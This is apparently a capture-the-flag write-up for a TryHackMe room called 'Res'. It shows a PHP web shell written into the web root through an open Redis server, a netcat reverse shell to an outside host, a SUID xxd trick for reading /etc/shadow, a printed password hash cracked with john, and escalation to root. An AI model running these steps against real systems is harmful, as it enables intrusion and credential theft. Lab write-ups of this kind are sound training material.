Skip to content

Res

These notes are from a challenge I did @tryhackme called res.

Flag 1

Scanning the environment we find an apache webserver and a redis database...

sudo nmap -sC -sV -sS 10.10.103.145 -p-

When connecting to redis we can set write a file to the main apache dir and create a simple php reverse shell:

redis-cli -h 10.10.103.145
>config set dir /var/www/html
>config set dbfilename shell.php
>set test "<?php system($_GET['cmd']);?>"

Before we visit our new page we should open a netcat session:

nc -nvlp 666

Time to run our shell.php :)

http://10.10.103.145/shell.php?cmd=nc 10.10.146.116 667 -e /bin/sh

Once we are succesfully connected we can stabilize the shell and view the first flag:

python3 -c 'import pty;pty.spawn("/bin/bash")'
cat /home/vianka/user.txt

Flag 2

Lets have a look at the passwd

cat /etc/passwd
vianka:x:1000:1000:Res,,,:/home/vianka:/bin/bash

There is SUID bit set for xxd. To access the shadow file can use this trick.

LFILE=/etc/shadow
xxd "$LFILE" | xxd -r
vianka:$6$2p.tSTds$qWQfsXwXOAxGJUBuq2RFXqlKiql3jxlwEWZP6CWXm7kIbzR6WzlxHR.UHmi.hc1/TuUOUBo/jWQaQtGSXwvri0:18507:0:99999:7:::

Time to crack the password:

unshadow passwd.txt shadow.txt > hash.txt
john hash.txt

Once we have the password we can escalate our priviledges to vianka which somehow also has root access.

su vianka
sudo su
cat /root/root.txt